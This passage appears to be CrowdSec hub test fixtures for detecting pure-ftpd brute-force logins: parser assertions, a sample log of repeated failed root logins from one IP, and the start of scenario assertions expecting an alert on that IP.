results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "Jan 7 14:19:31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"][4:] == "-01-07T14:19:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "Jan 7 14:19:32" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"][4:] == "-01-07T14:19:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "Jan 7 14:19:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"][4:] == "-01-07T14:19:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "Jan 7 14:19:34" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"][4:] == "-01-07T14:19:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "Jan 7 14:19:35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"][4:] == "-01-07T14:19:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp"] == "Jan 7 14:19:36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"][4:] == "-01-07T14:19:36Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:36Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["timestamp"] == "Jan 7 14:19:37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"][4:] == "-01-07T14:19:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["timestamp"] == "Jan 7 14:19:38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["timestamp"][4:] == "-01-07T14:19:38Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:38Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["timestamp"] == "Jan 7 14:19:39" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["timestamp"][4:] == "-01-07T14:19:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["timestamp"] == "Jan 7 14:19:49" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["timestamp"][4:] == "-01-07T14:19:49Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:49Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["timestamp"] == "Jan 7 14:19:59" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["timestamp"][4:] == "-01-07T14:19:59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:19:59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["timestamp"] == "Jan 7 14:20:01" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["timestamp"][4:] == "-01-07T14:20:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:20:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["timestamp"] == "Jan 7 14:20:02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["timestamp"][4:] == "-01-07T14:20:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:20:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["timestamp"] == "Jan 7 14:20:03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["timestamp"][4:] == "-01-07T14:20:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:20:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["program"] == "pure-ftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["client_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["timestamp"] == "Jan 7 14:20:05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["machine"] == "ftpcdr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["service"] == "pureftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["source_ip"] == "172.21.10.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["source_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["timestamp"][4:] == "-01-07T14:20:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Enriched["MarshaledTime"][4:] == "-01-07T14:20:05Z" len(results["success"][""]) == 0 hub1/.tests/pureftpd-bf/pureftpd-bf.log000066400000000000000000000030261437532772500203140ustar00rootroot00000000000000Jan 7 14:19:31 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:32 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:33 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:34 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:35 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:36 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:37 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:38 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:39 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:49 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:59 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:01 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:02 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:03 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:05 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:20:06 ftpcdr pure-ftpd: (?@172.21.10.2) [INFO] user@test.com is now logged in hub1/.tests/pureftpd-bf/scenario.assert000066400000000000000000000077441437532772500204340ustar00rootroot00000000000000len(results) == 1 "172.21.10.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.21.10.2"].IP == "172.21.10.2" results[0].Overflow.Sources["172.21.10.2"].Range == "" results[0].Overflow.Sources["172.21.10.2"].GetScope() == "Ip" results[0].Overflow.Sources["172.21.10.2"].GetValue() == "172.21.10.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "pureftpd-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "pftpd_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "ftpcdr" results[0].Overflow.Alert.Events[0].GetMeta("service") == "pureftpd" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.21.10.2" results[0].Overflow.Alert.Events[0].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-01-07T14:19:31Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "pureftpd-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "pftpd_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "ftpcdr" results[0].Overflow.Alert.Events[1].GetMeta("service") == "pureftpd" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.21.10.2" results[0].Overflow.Alert.Events[1].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-01-07T14:19:32Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "pureftpd-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == 